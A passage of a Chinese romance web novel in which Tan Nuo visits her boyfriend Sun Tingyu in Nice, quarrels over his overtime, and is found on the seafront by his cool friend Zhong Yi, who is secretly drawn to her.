“她从来没有吃过这么多苦。”孙庭誉很担心。 钟屹将车发动,他声音冷漠,车却没有缓冲,唰一下地开了出去。 因为他很烦。 “嗯,我猜她吃过最大的苦可能就是美式咖啡。” 放在往常,孙庭誉会为好友的这句揶揄露出笑容,这是很典型的钟式风凉话,但是今天他笑不出来了。 然而事实证明,孙庭誉的判断有误。钟屹在机场耐着性子等了一个小时后,没有看到男朋友没出现就崩溃脆弱大哭的谭诺。 有那么一个瞬间,钟屹有点同情孙庭誉,孙庭誉好像把自己看得太重要了,不是么? - 钟屹没有听人墙角的爱好,如果不是他被动地被扯进孙庭誉和他女朋友爱情的小把戏里。 “怎么见到我一直聊阿屹?” “你中意他?” …… 钟屹保持缄默地听着,心底泛起一阵难以言喻的不适。 他说不清这不适来自哪里,很快,在谭诺激烈而又彻底的抗拒下,这份情绪被强行拉到了顶峰,却在下一刻莫名地恢复了平静。 无波又无澜。 钟屹无动于衷地想,至少,他不是唯一排斥的人。 眼前,谭诺被孙庭誉旁若无人地抱回了房间,他们的动静不算大,只是在这寂静又空荡的房间里,一切都像是被按下了扩音键。 钟屹在原地站了好久,他看到谭诺的行李箱还在客厅的沙发边。 粉色的。 突兀又显眼,就像她一样。 他忽然失去了喝咖啡的兴致。 他逐个、逐个关掉大厅的灯,在黑暗中回到了自己的卧室。 远离那阵忽然拔高又倏然无力的喘息声之后,钟屹唇角勾了一下。 他在心里愿意承认:谭诺至少有一件事没有说错。 他确实烦她。 只是,远不止从他们第一次见面开始。 - 谭诺和孙庭誉在浴室几乎待了快两个小时。 她最后快要喘不过气,被孙庭誉一路抱着回到了床上。 在浴室里,她被压在冰凉的墙壁上,原本捂着嘴,孙庭誉却一下又一下,他诱哄道: “宝宝怎么不叫?” “嗯……被人听见怎么办?” 谭诺在某种快乐下,不合时宜地又想起孙庭誉那句荒谬的玩笑,身体忽然蜷缩了一下。 孙庭誉闷哼了一声。 不能怪谭诺反应大,从男朋友的口中听到她是不是喜欢别的男人这样的话本身就怪异,特别是孙庭誉平常看着好说话,对她百依百顺,但是吃起醋来也不是可以轻易揭过的。 从前等她下课,看到她和别的男生多说几句话都能放在心里很久等着秋后算账,他这样的人什么时候会和颜悦色地问她是不是喜欢别人。 难怪他自己开完玩笑又不开心,活该。 谭诺知道,她是永远、绝对不可能喜欢上一个看不上自己的人的。她从不缺爱,巴不得离讨厌自己的人远一点,又怎么可能主动凑上去。 她又不是受虐狂。 “在想什么?”孙庭誉看出她的分神,手又往前探了探,“不许分心,叫给我听。” 极致的感官体验终于将谭诺全身心地拉了回来,她没什么控制力,再加上孙庭誉实在了解她的身体,她原本还有所顾忌,渐渐也忘记了所有,全情地投入…… 只是后来,离开了浴室,谭诺想到隔音问题,只好咬着孙庭誉的脖子…… 就这样胡闹到了凌晨,孙庭誉才离开她的身体。 谭诺已经没眼看他们用了几个小雨伞了,这是孙庭誉在帮他们打包晚饭买的。 - 每一次做完以后,谭诺的身体都会发汗,这个时候,有空调显得这样重要。 “好热,本来没那么热,现在更热了。” 孙庭誉从床头柜的抽屉里随手找了份文件,给她扇风。 孙庭誉的体温比谭诺高,谭诺纠结了一会儿,还是把头枕在孙庭誉的肩膀上。 她脸上的红潮还没有完全褪去,在孙庭誉的怀里向他伸手。 “我要手机。” “查岗?”孙庭誉笑着将手机递给她,“我在这里连母老鼠都不看一眼的。” 谭诺一听到老鼠,很嫌弃地“噫”了一声。 “好恶心,你不要说,我今天在巴黎的地铁站还有看到,哦不对,已经是昨天了。” 谭诺接过孙庭誉的手机后,尝试着登自己的社交软件账号。“要是手机没丢就好了,我来之前还做了攻略,都存在手机里了。” 孙庭誉说:“我来登陆一下,帮你把手机标记为丢失。” 不过他心里清楚,手机找回来的可能性几乎渺茫,他得给谭诺买一个新的。 “他已经帮我弄了,”谭诺含糊地说,“他说可能手机已经被刷机了。” 她忍住没有叫她给钟屹起的外号,毕竟他确实帮了一点忙。 “阿屹帮你弄好了?” “对……” “他人不错的。”孙庭誉很坦然地对女友说。 谭诺没说话,低头摆弄孙庭誉的手机。 孙庭誉看她的反应,也只是笑笑。 孙庭誉上初一之前一直是在瑞士长大,钟屹是他的邻居。 钟屹大他两个月,他和钟屹算得上是从出生就认识了。 孙庭誉在上初一那年因为各种原因和家人回国,但是依旧和钟屹保持着联系。后来钟屹偶尔到国内,通常也是住在他家,他的父母对钟屹也很好。 钟屹可以说是他人生中处得最长久的朋友。 最爱的女人和最好的朋友没办法拥有良性的关系,孙庭誉对此虽然有淡淡的遗憾,但是并不介怀。 他不需要他们为他改变什么。 不过,孙庭誉也曾思考过一个问题,那就是假如钟屹有一天谈了女朋友,他大概也会像钟屹一样保持距离。 虽然截至目前,他还没有这个机会。 - 因为手机号码不同,谭诺想登陆社交软件,但是做什么都需要提供手机验证码,最后折腾了一会儿,怏怏地将手机又还给了孙庭誉。 零点已经过去,谭诺决定将昨天发生的不幸全部忘记。 “我们睡一觉起来就去买手机,买完再去蔚蓝海岸,我有几家好想吃的店,一定要去!”她畅想到这里,想起了什么后又补了一句,“就我们两个人。” 孙庭誉接过手机,原本还在挑准备给谭诺买的新手机,听到了她的话后,他面上的表情凝滞住了。 他看着谭诺,看起来像是在思考怎么开口。 其实,他一路都在思考这个问题,“宝宝。” 谭诺以为孙庭誉是觉得他们两个第一天就单独出去,不带上钟屹这件事很不礼貌。可是之前钟屹难得回国,孙庭誉也只是简单地招呼他,就带她出去约会。 而且,她跟孙庭誉两个月没见,谭诺只想跟他二人世界…… 不过,谭诺还是愿意在这件小细节上谅解孙庭誉一次,毕竟他们住在钟屹家。 但是她并不觉得钟屹会愿意做那个电灯泡。 “算了,你要是觉得这样不好的话,也可以问问他,但是如果他根本不想去的话,你不准硬拉上他,我会生气。”谭诺将头扭到一边。 她说完这句话都觉得自己实在太善解人意了,哪里有这么体贴的女朋友,妈妈和朋友许奈都跟她说过,谈恋爱千万不能太迁就男人,越懂事的女人越没有好下场。 谭诺决定只迁就这一次。 孙庭誉又捏着她的下巴,将谭诺的脸面对着自己。 他微微低头,脸贴在谭诺的额头上,声音听起来有些低,还透着些无可奈何。 “跟阿屹没关系,我当然想跟你两个人。” 谭诺隐隐察觉到孙庭誉有别的事要告诉她,她倏地从他怀里坐起来。 “你不会,明天不能陪我吧?” 这句话问完以后,谭诺就在等孙庭誉说“不”。 可是没有,她的心也跟着凉了。 孙庭誉自然看出她表情的变化。 今天,他所在的团队集体会到戛纳休假一天,就是为了接下来的工作能有最好的状态。 孙庭誉所在的公司专注于汽车与智能交通技术的生产与销售,而他所在的团队负责底盘控制系统的创新和研发。 下个月公司即将推行最新的制动产品,他们部门这一周要做最后的测试。 孙庭誉作为这个团队的组长,明天他真的没办法请假。 “对,我明天还要去公司。”孙庭誉艰难地开口。 他看到谭诺失望的眼神,她来这里是为了给他惊喜的,但是,他又让她失望了。 谭诺不理解,“可是,明天,不是周末吗?” 谭诺这个时候心里还在期待,孙庭誉是在跟她开玩笑。 可能他只是想先让她失望一下,再告诉她他在骗她,他当然会陪着她,从前也不是没有这样的事。 只是,孙庭誉凝重的表情告诉她,他没有在开玩笑。 “嗯,这周有重要的事,所以要加班。” 谭诺不相信,“但是你不是告诉我法国人很懂得享受,他们下班时间从来不处理工作?也从来不加班吗?” 谭诺不知道怎么了,明明来之前的每一次通话,她问孙庭誉工作忙不忙,他都回答说一点也不忙,他也告诉她,工作没剩下什么了,他们很快就能见面,如果不是孙庭誉这样说,她根本不会挑这样的时间过来。 孙庭誉注视着她,他该怎么跟她解释,这虽然是在法国的分公司,但是本质上是中国企业,他公司所有的高管都是华人。 孙庭誉开始怪自己平常对着谭诺报喜不报忧的个性,其实每个月的节假日是不少,这一年的工作也算不上多么累,但是太不凑巧了,如果不是工作即将收尾,到了很关键的时候…… 谭诺一脸警觉地盯着他看了好久,忽然问:“你是不是其实出轨了?所以明天要陪别的人?” 孙庭誉刚要说话,一瞬间被她的脑回路给怔得无话可说。 “你如果爱上别人的话,告诉我就好,不用骗我。”她说着话,试图从他的脸上看出一丝蛛丝马迹。 “我爱你,我只爱你。”孙庭誉想也没想地说。 他说得认真,看她还是那副紧绷的样子,他试图去捏她的脸。 “你这小脑瓜到底在想什么?你觉得可能吗?” 谭诺不给他碰。 她也觉得不太可能,孙庭誉只要有超过三天的假期就会回去看她,哪怕只能在她身边待一天,在法国的每一天几乎是见缝插针地联系她,只要她醒来就跟她视频,有什么东西都想着买回去给她。他所有软件的密码她都知道,随时都可以登录。 虽然身边太多失败的案例告诉她,没有不偷腥的猫,不要太相信男人,不然到时候受伤的是自己。也有朋友告诉她很多男生出了国,国内一个女朋友,国外一个,下半身完全不会闲着。 但是谭诺在这之前没想过这些问题,她从来不提前为还没发生的事折磨自己。 “那为什么呢?”她搞不懂。 “公司要推新产品,”孙庭誉安抚道,“你等我,我这几天加班把工作交代好,到时候你想去哪里我都陪着你。” “几天……可是我一共就只有七天的时间。”谭诺的心情太低落了。 她无力地躺下,将背对着孙庭誉。 等这个夏天结束,她就要开学了。 “有时间的。”孙庭誉还在安慰她。 “在这里玩一周都玩不了多少地方了,如果我一直等你那更没时间了。” 孙庭誉沉默了一瞬,他已经在想解决办法,他也不想让谭诺失望。 “以后也一定有机会。”这句话他说得肯定,谭诺喜欢被涂成彩色的房子,以后,他一定还会带谭诺来这里。 谭诺听到以后这两个字却更加炸毛,“以后”就是一张空头支票,谁知道这支票什么时候才能兑现。 “我不会一直等你的,”再开口,她的声音闷闷的,“你不陪我,我明天就自己去玩。” chap5 “你一个人我不放心。”孙庭誉说。 谭诺在这里人生地不熟,语言还不通,他听到她说要自己出去玩,脑海里已经不受控制地脑补了最坏的可能。 “不放心你就陪我啊,周末明明就不应该上班,为什么你要加班?” 谭诺的思维已经被困在这个圈子里。 她知道孙庭誉大约没有骗她,他真的是有工作,但是她还是会感到愤怒。 理解是一方面,负面的情绪却是无法控制。 孙庭誉固执地将谭诺的手握在手里,不让谭诺抽回去。 “坐飞机那么累,明天先好好休息?我答应你,明天早点下班。” 谭诺没有提醒他,现在已经是他口中的明天。 她不想说话了,他再早下班可以在她醒来就回来吗? 孙庭誉看她不说话,内心也无比折磨。 他不想她到法国的第一天就这样闷闷不乐,他垂眼看着背对着自己躺下的谭诺,半敛的眸子里透着复杂的情绪,有些话已经到了嘴边,但是,他还是克制住了。 “再等一等我,”孙庭誉说,“别伤心,你相信我。” “相信什么?”谭诺没好气地问。 孙庭誉努力让声音带了点笑,“到时候你就知道了,这次都是我的错。” 谭诺因为他的这句话心里又燃起微小的期待,可是,期待是失望的开始。 谭诺目光飘忽地看着房间墙壁的角落,她的声音在这个夜晚里听起来格外难过。 “我相信过你的。” 她是相信过他的,在他说过会永远陪着她的时候,但是他还是选择没有和她商量,就来了法国。 明明这一年里,孙庭誉已经做得足够好,但是这些琐碎的小事件还是让谭诺无法避免地想起了这件事。 人性就是如此,一直做到一百分的人,偶然一次只尽了八十分的力,看起来都是那么不用心。 可能不怪他,怪就怪偷她东西的人,让这次出行从开头就没有一件顺利的事。 “对不起,这是最后一次。” “不要提前承诺自己做不到的事。”闭上眼睛,她说。 孙庭誉许久没说话,最后也只是说: “再相信我一次,答应我,明天不要乱跑。” 他已经决意这两天将工作安排一下,后面陪着谭诺,工作是至关重要,但他也确实没办法把谭诺一个人丢在这里。 他想到这两天可以先给谭诺找一个地陪,但是就算有人陪着她,他也该在她身边。 他是她的男朋友,孙庭誉知道她需要的是他,不是任何人。 孙庭誉长久地注视着谭诺,有那么一秒,他想叫醒她,告诉她,他还为她准备了惊喜,到时候,她一定会高兴。 但是,孙庭誉没有说话。 再忍一忍,再等一等,到时就好了,一切就都会好了。 - 孙庭誉这一夜没怎么睡着,他脑子里一直在想着等到了早上,趁着上班之前给谭诺买手机的事。 他听着谭诺浅浅的呼吸声,谭诺差不多在凌晨一点多入睡,只是可能初到新的环境,还不那么习惯,夜里换了好几次姿势。 孙庭誉抚了抚她还在睡梦中的脸,便下了床。 谭诺挑食,而钟屹家根本没什么能让她心情变好的食物,隔夜的龙虾意面口感已经变得糟糕,孙庭誉准备去超市买点食材。 他买完东西回来时没有走正门,而是走带花园的后门。 天色已亮,他刚走进来,就看到钟屹正躺在花园里的躺椅上。 听到脚步声,钟屹维持着现有的姿势,慢慢睁开了眼睛。 目光慢慢聚焦,钟屹的视线正对着孙庭誉的下颌。 很快,他的双眼定在了孙庭誉脖颈处。 那里遍布咬痕。 “羡慕?”孙庭誉开了一句玩笑,他对着钟屹没那么避讳,“羡慕的话也找个女朋友吧。” 太阳慢慢冒出了头,四处枝叶遮挡住了光线,钟屹没再看孙庭誉,他低垂着视线,看起来有些阴郁。 而孙庭誉站在他对面,周身渐渐被冒头的太阳覆上了光,透过枝叶钻进来的阳光在他们之间分隔出泾渭分明的一条线。 “我怕死。”钟屹倏地说。 他摸了摸脖子,万一被咬到大动脉,可能会死。 孙庭誉原本没有指望得到钟屹的回答,闻言笑了。 “你不是说你买海边的房子就是方便想死的时候可以直接跳海吗?”孙庭誉没忘记当初钟屹跟自己说的胡话。 “我这么说过?”钟屹不在意地想了想,“忘了。” 孙庭誉本来就没有当真。 “不过,不是谁都像她一样那么爱咬人的。” 孙庭誉可能不知道他说这句话的时候,语气里还带着淡淡的引以为豪,但是钟屹听出来了。 钟屹唇角露出转瞬即逝的笑,只是眼神没什么变化,还带着清晨的凉意。 “是么?” “对了,卖手机的地方是不是九点才开门?”孙庭誉想起来,他除了买手机还得给谭诺办张电话卡,他甚至萌生了预约安装空调的工人来这里装个空调的想法,这样大约会让她心情好一点? 钟屹揉了揉脖子起身。 “我有备用的手机,没用过几回,她要不要?” “你不用吗?” “暂时不用。” “谢了,今天暂时用一下,我下班就带她去买。对了,你认识会装空调的人吗?” 钟屹怔了几秒,说不认识。 两个人一前一后走进了房子。 孙庭誉接过手机后,正想把语言模式改成简体中文,发现已经是了,他没作多想,临近上班的时间,他越发担心起谭诺起床以后会乱跑的事。 不过她睡得晚,又坐了一天飞机,怎么也会睡到两三点吧。 “阿屹,”孙庭誉知道钟屹可能马上就会去睡觉,但是还是只能对他开口,“她估计会睡到很晚,但是如果她醒得早,跑出去了,你听见记得给我打个电话。” 孙庭誉不停地对自己说,谭诺是成年人,她不会出事的。她虽然只会几句蹩脚的法语,但是用英语跟人沟通不难的,尽管法国人讲英文的并不多……但是他不能再这样想下去了。 “你应该把她绑在身上的。”钟屹说完直接关上了房间的门。 …… 孙庭誉把要给谭诺准备的饭放进了保温盒后,又回到了卧室。 “宝宝,我走了。”他半蹲在床边,想起钟屹的那句话,忽然真的涌起了把谭诺带到公司的打算,这当然是个下下策。 “不然你跟我去公司?中午我带你出去吃饭。”他犹豫地说。 谭诺困倦中听到了一点声音,她连眼睛都睁不开来,不忘说:“你走开,我才不去。” 孙庭誉只好作罢。 “我尽量提前下班,”他也不想让她和钟屹有什么独处的尴尬。“你不要乱跑,有任何事都给我打电话。” 没等到谭诺的回应,孙庭誉有些舍不得离开。 他工作中一向行事果决,在谭诺身上却优柔寡断到他自己都厌烦。 最后,他将手机放到桌边,又贴了一张便签贴在手机上才离开。 - 钟屹在中午十二点一刻被连环call吵醒。 一个月前,他的手机一直是静音模式,只是最近,他在等一通电话,他不知道这通电话什么时候会打来。 他将眼罩拉开后,捞过一旁的手机,发现并不是疗养院打来的,而是孙庭誉的电话后,他想也没想地按了拒绝接听键,又闭上了眼睛。 八秒钟后,铃声再次响起。 钟屹眼睛仍没有睁开,懒散地按了接通。 “干嘛?” 钟屹话音刚落,孙庭誉略带焦躁的声音扑头盖脸地从电话那端传了过来。 “你挂我电话?我有急事怎么办?” 钟屹满不在乎地说:“有急事你不会打第二遍?” 这是钟屹在私人时间过滤无关痛痒的联系的一种方式,虽然听起来有些不近人情,但是他本来就没什么人情。 孙庭誉心烦意乱,没心情跟钟屹争论,其实放在平常,孙庭誉真的不会在钟屹的休息时间打扰他。 “有事说事。”钟屹说。 “诺诺出去了。” 孙庭誉原以为谭诺至少会睡到下午三点才醒,他早上一到公司,就已经和团队的人沟通过,他中午加班,把下午三点半以后的工作挪到中午来完成。 十二点钟,他潦草地吃了份千层面,打开他今早在留给谭诺的手机里安装的定位app,发现软件显示手机并不在家…… 孙庭誉试着打电话,谭诺接了。 她说她在英国人漫步大道*上散步,孙庭誉问,帮她约一个地陪陪着她散步好不好,她说不好。 孙庭誉听得出来她态度已经不像昨晚,他也想试着给她一点空间,就当谭诺还在国内,她会好好照顾自己。 “那你换个地方记得给我发消息,我早点回去带你吃饭。” 谭诺虽然不情愿,但还是“哦”了一声。 孙庭誉平均十分钟刷一次定位软件,但就在刚刚,谭诺的定位忽然不动了。 孙庭誉原想着谭诺是不是在沙滩晒太阳,但是天使湾是石滩,海岸上全是鹅卵石,人根本没办法躺下。 孙庭誉给她发消息,【宝宝,是不是租了沙滩椅在海边休息?】 谭诺没回。 他打了电话,一直处于正在通话。他不知道她是不是在和朋友聊天。 “你能不能帮我去天使湾找一找她。看到她就行。”孙庭誉问钟屹。 他自知自己接二连三对朋友提这样的要求很无耻,但是他的公司距离天使湾有些偏远,钟屹的房子离得却近。 “她出去了?”钟屹在床上坐了起来。“哦,腿确实长在她的身上。” 钟屹没那么理解孙庭誉一惊一乍的态度。 “我也很想平常心,就当她在国内,但是昨天我不在,她在巴黎直接被偷了,没有我,她——” 钟屹将眼罩丢到桌上,打断了他的话,“需要我告诉你,每一天有多少人在巴黎被偷东西?” “……” 谭诺依然没有回短信,孙庭誉真的开始担心。 “不行,我还是得自己回来一趟。”孙庭誉也已经开始找车钥匙,一个小时后有一场会要主持,但是他只要到天使湾看一眼谭诺,确定她没事就行,来回的车程差不多四五十分钟,应该来得及。 “你冷静点。”钟屹按了按太阳穴,“把定位上的地址截图发我。” 孙庭誉直接把软件里谭诺的所在地点分享给了他。 钟屹想:好,就看在孙庭誉曾经也帮过他一些忙的份上,他再做一次这样无意义的事。等看到小公主还活着呆在尼斯的某个角落,他就回来继续睡觉。 所以,他没有换掉身上的睡衣,连拖鞋也没有换。 钟屹是个路痴。 他分不清东南西北,对这里也并不算熟悉。 特别是尼斯城区的街道狭窄又弯曲,他只能在定位软件和谷歌地图之间来回切换。 钟屹的房间因为地理位置的关系,夏季冷。他体温偏低,八月底已经换上了长袖睡衣。 只是走在烈阳高照的街道上,他的着装突兀到沿途的每一个行人都在看他。穿着泳裤走在这里,都比他这身装扮来得自然融入。 钟屹这一刻真的想把孙庭誉连同他的女朋友打包一起赶走。 头顶烈日,小公主真会挑时间来给他找事,他感觉到有一滴汗已经顺着额头往下落。 不同于运动时的出汗,现在这种感觉有点恶心。 钟屹抿着唇,带着睡眠不足的不快四处找人。 海滨大道实在太长,沿途到处都是穿着清凉装扮的人。 钟屹看了一眼定位软件,最后皱着眉头站在一个卖冰淇淋的奶奶面前用法语问:“打扰一下,请问您有没有见过二十岁出头的亚洲女孩?” 钟屹手靠在自己的锁骨处比划了一下她的身高,“差不过这么高。” “好多这样的女孩儿。”奶奶迷茫地看着他,他只能提供更多细节。 钟屹表情严峻,连回忆都不需要。 “她的脸很小,爱笑,嘴巴笑起来是这样,”他干干地扯了一下嘴角,又继续若无其事地说,“眼睛很大,瞪人的时候这么大。” 大约是他说话的语气跟表情很是生硬逗笑了奶奶,奶奶笑了一下问,“她长得漂亮吗?” 钟屹转过头,有两秒没有说话。“我不知道,和我无关。” “哈哈,有个穿黄色吊带的亚洲女孩,从我这里买了冰淇淋后,就往前——” 钟屹没等她说完,说了声谢谢就加快了脚步。 只是,他越往前跑,这一边已经没有什么人。 钟屹又低头看定位,再抬起头时,真的听到了不算陌生的强装镇定的声音。 “我听不懂你在说什么。” 钟屹直直地看过去,是谭诺。 他不知道自己为什么没有立刻过去,就只是这样漠然地看着。 谭诺站在棕榈树下,手抓着树干,正在用英语和对面那个胡子已经留到了肩胛骨处的男人说话。 她站姿僵硬,声音也有些发颤。 她在害怕,钟屹看得出来。 她的眼睛故作镇定地睁得很大,就像他记忆里的那样。 钟屹知道,他还可以这样无动于衷地旁观很久很久,他不在乎的。 但是,他的双脚还是一步一步走近她。 钟屹握住她的手腕,把人拉向自己的身后。 他还没有开口,几乎是一秒之间发生的事,谭诺的双臂已经无比依赖地紧紧地环住了他…… *英国人漫步大道(Prmenade des Angis ):法国尼斯著名的海滨大道 chap6 “你怎么才来?那个人……好奇怪。” 谭诺惊吓之余,只以为是孙庭誉来找她了。 孙庭誉不久前给她打电话的时候有告诉她,这里对她而言全然陌生,他担心他万一找不到她,所以在她手机上安装了定位系统。 谭诺考虑到这里是国外,也就没说什么。 …… 谭诺想,一定是孙庭誉,她脑袋里绷紧的弦终于松懈。 握住她手腕的掌心有点凉,但是她还是立刻双手环抱住挡在自己身前的胳膊。 钟屹站在原地,因为她骤然间贴过来的双臂有片刻的失神。 她肌肤的热度就这样隔着单薄的睡衣传递了过来。 钟屹身体僵硬地站在原地,最后还是没有把被谭诺抱着的手臂抽回。 他知道发生了什么,谭诺以为是孙庭誉来了,所以她才会用那种撒娇又责怪的语气,他不蠢。 但是他还是回过头,用比寻常对待她柔和许多的声音,询问道:“发生什么事了?” 谭诺搂着钟屹的手倏然间顿住了。 站在自己身前的根本不是孙庭誉。 她迟钝地忘记了动作,只有眼睛无措地看着眼前的人,像是从一场惊慌落入了另一场惊慌里。 或许是心底的声音告诉自己,钟屹不会伤害自己,而对面的男人却不一定,她慢慢松开了手,但是还是虚虚地环着,就好像这样也能给她一点安全感。 “他一直围绕着我说很奇怪的话。”谭诺跟钟屹说。 谭诺听得出来那个长着很长胡子的男人一直在对她说法语,但是她根本听不懂。她已经用英语说了无数次自己听不懂,不要跟她说话,但是他还是不停地围着她讲话…… 钟屹忽略了她已经和自己保持距离的手,他望向对面的男人,眼里没有一点温度。 “你在做什么?”钟屹问。 谭诺听不懂法语,她只是三分钟热度的时候跟孙庭誉学了几句打招呼的话。 她不知道钟屹在说什么,也听不懂对面在说什么。 两个人的语速都很快,谭诺的眼神在两个人之间来回地转,只是很快,谭诺看得出来钟屹没那么强硬了。 “你们在说什么?”谭诺踮起脚,往钟屹跟前凑近了些,小声地问道。 什么都听不懂的感觉太糟糕了。 钟屹回过头,谭诺看着他,她发现钟屹的表情很难得地看起来没那么难以接近,谭诺甚至觉得他看起来有些哑口无言? “怎么了?”她又问。 钟屹抬头看了一眼天,又低下头,最后一言难尽地看着她。 “他其实是在提醒你……”钟屹说。 谭诺的眼睛因为过度的惊讶睁得很大,“啊?提醒我?” 怎么会是在提醒她…… - 谭诺中午醒来后,吃了自己想吃的海鲜饭后,从海滨大道一路散步到这里,天空蔚蓝、海水澄澈湛蓝,她的坏情绪已经消失得无踪无影。 微信也经在爸爸妈妈还有孙庭誉的辅助验证后,可以使用,谭诺便给国内的朋友挨个报平安。 只是大家都还没有醒。 只有现在和她同在法国的朋友许奈闲着没事,和她打了一阵子电话。许奈是谭诺的高中同学,大学就来了法国,两个人许久没有见面。 谭诺决定来法国的时候有联系她,许奈邀请她到时候带上孙庭誉一起来她所在的小镇,说那里依山傍水景色很美,谭诺当时欣然答应。 只是,现在孙庭誉什么时候有时间陪她都是未知的事。 谭诺边聊边散步,电话挂断时,她已经走到了一棵棕榈树下。 出来时,她忘了带墨镜,被这样晒了一阵,谭诺有点头晕,就想站在树荫下歇一会儿。 但是她一转身,就看到一个上半身赤/裸、胡子长得很长很长的壮汉,站在离她大约五米的地方大声地对她说话。 他说话时还在笑,只是那笑容有些难以形容,总之让谭诺心里有点发毛…… 钟屹却说,他在提醒自己?提醒什么? 谭诺困惑地看着钟屹,就听到钟屹开口说: “嗯,他在提醒你,不要站这里。因为,”钟屹看了一眼她身后的树,心里有种冲动。 谭诺的双手本来就虚虚挨着他,钟屹不用看她,很轻松地就碰到她的手腕。 他把她往海岸的方向拉着走了两步,跟树隔开了一点距离。 谭诺毫无防备地被他拽着走,还没来得及问钟屹在做什么,钟屹已经松手,她听到他说:“有很多人那里小解。” …… 谭诺恍然大悟,所以这个男人一直重复在说的爆破音“屁”其实是英语“pee”,但是谭诺当下过于紧张,完全没往那方面想…… 怪不得这里偶尔能闻到一股怪异的味道。 得知了真相后,谭诺窘迫地看向那个人,原来人家只是好心好意在提醒她,她现在在回想他说话时的笑容,似乎也能理解了。 “对不起,我误会了。”她惭愧地站在钟屹身后,用英文跟对方道歉。 对方不太在意地笑笑,示意他们别继续站那里,还祝他们有一个愉快的假期。 - 等到对方离开,谭诺终于想起来往边上退了一步,和钟屹保持了一点距离。 此时此刻,她心里还升腾着愧疚和无限的尴尬…… “我刚刚一直把他当坏人,会不会很伤害人家?”谭诺感到自责。 她也知道自己不该以貌取人,但是身型过于悬殊,她一时间确实联想到了很多人出国旅游被带走嘎腰子,虽然来之前,她看社交平台的人都说尼斯的治安很好。 而且,给孙庭誉打电话一直占线,谭诺更加慌张了。 钟屹垂眸,“胆小鬼。” 他刚刚远远看着,只觉得她浑身的毛都立了起来。就像是猫受到了惊吓,还要强装伸出爪子,试图吓走别人。 谭诺不服气,“那你试试看一个人在国外被一个比自己高很多的人很大声地喊话,喊的还是听不懂的话,看你害不害怕。” 钟屹默不作声地回忆了一下,小时候他就有很多这样的经历,记不得害不害怕了,好像没什么感觉,也可能是忘记了。 “这里也找不到比我高很多的人。”他无所谓地说。 “你怎么听话都抓不住重点?”谭诺的嘴巴因为不开心翘得很高。 钟屹盯着她的双唇,他有点想要把它拨平。 但是还可以忍住。 他挪开了视线,声音淡淡的。 “现在对着我倒是敢大声了。” “废话,”谭诺很理所当然地说,“你是他的朋友,又不可能对我怎么样。” 说到孙庭誉,她心里又有些不自在了。 低头一看手机,才发现孙庭誉的名字赫然就在屏幕上。 谭诺犹豫了两秒,还是接通了。 孙庭誉的声音听起来很担心,但是不知道为什么,真的听到他的声音后,谭诺没有把刚刚发生的事倾诉给孙庭誉的欲望,已经过去了,而且她不喜欢隔着电话说。 “我没什么事情啊,这里遇到的人都挺好的。” 在确定她没事后,孙庭誉说一直没联系上她,他已经在回来的路上。谭诺还没来得及有什么想法,就听到他说,看她一眼,带她去吃个饭,他还要回去开会,他还有二十分钟就到。 “哦,你还是别折腾了,我已经吃过了,而且等你还要时间。” 孙庭誉听得出来她的坚持,只好说:“想买什么都记得用我的卡,我一定早点回来。” “嗯。” 挂掉电话后,谭诺问钟屹。 “是他让你找我的吗?” “不然是鬼?”他背对着谭诺。 “法国的鬼也管中国人?”谭诺“哼”了一声,看了一眼手机,才看到微信延迟推送的孙庭誉的消息。 她有点猜到她和孙庭誉大约一直在给对方打电话,后来,他又在联系钟屹,所以他们就这样错过了。 “看来他最近真的很忙。”她自言自语地说。 阳光越发刺眼,钟屹的眼睛微微地眯着,他只想知道怎么才能最快回去。 “嗯,你来错时间了。”他神情有些冷,声音也透着不耐。 “我来之前有问他,他说不忙。”如果不是这样,谭诺也不会这么蠢地自作主张订票过来。 “怕你担心。”脖颈处的汗往下落,洇湿了钟屹的睡衣衣领,衣领就这样紧贴着脖颈,他感觉那里像是被什么箍住了。 这种感觉有点恶心,和说出这句话的感觉差不多。 他在做什么,替孙庭誉哄他的女朋友吗?他都不知道自己是那么好心的人。 “这有什么好担心的?”谭诺低头踢了一脚地上的碎石,“他那么大人,又不至于为了工作熬夜猝死。” “你倒是想得开。”钟屹轻嗤了一声,没有看她,只是望向不远处像是撒了金箔的蓝海。 “想不开难道去死吗?”她回呛了一句,“接机也是你,这次也是你,你是他的代理人吗?我又不是在和你谈恋爱。” 她说最后一句话的时候带着情绪。 钟屹喉头滚了滚,嘴角弯了一下,他动作略有些粗暴地将脖颈处的领子拉了拉,好让自己呼吸没那么不舒服。 不止那里在出汗,不久前被她用力挽住的胳膊也在。 “你知道就好。” 谭诺抢白,“我当然知道。” “知道就不要麻烦我那么多,”钟屹忽然回头,目光冷淡地看着她,再开口时的语气漠然又直白,“我很困,不想每天变着花样来找你。” 谭诺这个时候才注意到钟屹身上穿着非常非常不合时宜的睡衣,和昨天那套同款不同色。 现在孙庭誉也不在这里,他们自然不用装和谐给任何人看,所以说话都是发自肺腑的夹枪带棒。 其实就算孙庭誉在的时候,他们也并不和谐,只是从来没有说过那么多话。 “以后不会麻烦你,你也可以不用听他的。”谭诺将头扭了过去,不肯再看他。 钟屹没有心情在这里跟她进行没有营养的对话。 “跟我回去。”他说。 “为什么要回去?” 她才出来没多久,刚刚也被证实只是一个意外,现在想一想,就算钟屹没有出现,等她冷静下来,想通那个叔叔说的“pee”的意思,就会知道对方的意思。 或者说,不久前的小事件是谭诺独自面对尼斯的适应期。 她不要因噎废食,就这样回去。 钟屹看她的脑袋执拗地梗着,全然不理会他的样子,正想说孙庭誉会提前下班回来。 但是他还没开口,谭诺就已经出声。 “我知道你不想管我,你不用管,我后面不会再有任何事,”她试图冷静地跟他沟通,“这是我第一次来尼斯,我不想来一趟就一直呆在你家,最后剩下的记忆就是,下飞机就丢了手机和钱,在你家干瞪眼等他,然后等到他回来再和他——” 谭诺说到这里,忽地闭上了嘴巴,她情绪一激动,嘴巴动得就会比脑子快…… 她原本寄希望于钟屹没听懂她在说什么,但是两个人的视线就这样在空气中交汇,谭诺对上那双深邃的眼睛,忽然明白她刚刚在说的什么,他们都心知肚明。 毕竟从昨晚到凌晨,她和孙庭誉即使再压抑,可能还是会被听到一些…… 但其实也没什么好尴尬的。 “反正,你不用管他的话。”她别开了眼睛,继续往人多的地方走。 钟屹就这样逆着光盯着她的背影。 “你继续往前走的话,我不会再陪你。” 谭诺头也不回:“我本来也没有要你陪我。” 钟屹当然知道,她想要陪在她身边的只有孙庭誉。 他的手不自觉地握紧又松开,“我也不会再去找你。” “随你的便!” 谭诺按照导航继续往前走去。 身后真的没有声音了,钟屹没有跟过来。 